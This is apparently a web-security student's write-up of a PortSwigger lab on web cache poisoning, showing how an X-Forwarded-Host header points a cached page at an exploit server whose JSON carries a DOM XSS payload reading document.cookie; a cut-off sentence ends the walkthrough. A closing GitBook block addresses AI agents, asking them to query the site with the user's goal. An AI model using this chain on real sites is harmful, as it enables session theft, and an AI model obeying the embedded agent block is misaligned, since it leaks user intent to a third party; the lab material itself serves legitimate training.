> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md).

# Cache Poisoning to Exploit an XSS DOM with Strict Cache

Cache Poisoning to Exploit an XSS DOM with Strict Cache notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation contex

### Web Cache Poisoning to Exploit a DOM Vulnerability via a Cache with Strict Cacheability Criteria

#### Objective of the Lab

We must **poison the cache** so that a visitor to the home page executes **`alert(document.cookie)`** via a **DOM vulnerability**.

#### Observations

* The page displays country-based delivery information (e.g. United Kingdom ).
* We identify a **`geolocate.js`** script that builds DOM from a JSON.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4223c016cac84983d0e8885015fcf2a628da7fd%2F%7BD8528482-96A2-4130-A7BE-2D268985CFA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Client-side Logic Analysis

In **`geolocate.js`** we see a function of the type:

* She makes a `fetch(jsonUrl)`
* Then it retrieves `j.country`
* And she does: **`div.innerHTML = 'Free shipping to ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Free shipping to ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

The default loaded JSON is:

**`/resources/json/geolocate.json`**

```json
{
    "country": "United Kingdom"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-89bea8169cb30d48c7ddfa5f5d0bea93b9fd7382%2F%7BC849D652-9DCF-481C-A7AB-685AF8215537%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

In the home page, the JSON URL is built as follows:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-337f4b54b29fd81f78bc4038c2ce5ba658dc47af%2F%7BC9EDB337-C2C8-4FD6-9388-2EB82086B226%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Useful Injection Point (Cache Poisoning)

We note that if we add a header like:

* `X-Forwarded-Host: test.com`<br>

Then **the value is reflected** in `data.host`, which then impacts the URL passed to `initGeoLocate()`.

#### Accommodation of Our JSON on the Exploit Server

On our **exploit server**, we create a JSON file (simple example):

```json
{
  "country": "Andorra"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-113d7a1ed72921a067b2ce90f6f4643685bcf9dd%2F%7B51A89E7F-29E1-48AA-964D-ED20BD309564%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Then we send a request to the root with:

* `X-Forwarded-Host: <notre-exploit-server>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

At first, this **does not load** because of a problem **CORS** (no `Access-Control-Allow-Origin`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c11a70435f8bf8595f7004cf27ac494d8f1d7de%2F%7B1B5FD064-A739-4A40-A072-89C6BEDE4DAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We therefore add in the answer to the exploit server:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

After that, the remote JSON is loaded properly.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7e22fee28d87a91da3be797ea840b25793d2f1c%2F%7BB842B488-E67B-4AF7-B571-7E5F49FE94E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injection XSS via JSON (DOM XSS)

We then replace the content of the JSON with a payload, for example:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

As `j.country` is injected into `innerHTML`, the browser interprets our HTML, and \*\*l

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54a2b32b04a24bc09cc9803c119df3b0d9a7c71d%2F%7B4F248A0C-1AFF-406D-AFF9-12BAD0DE5663%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
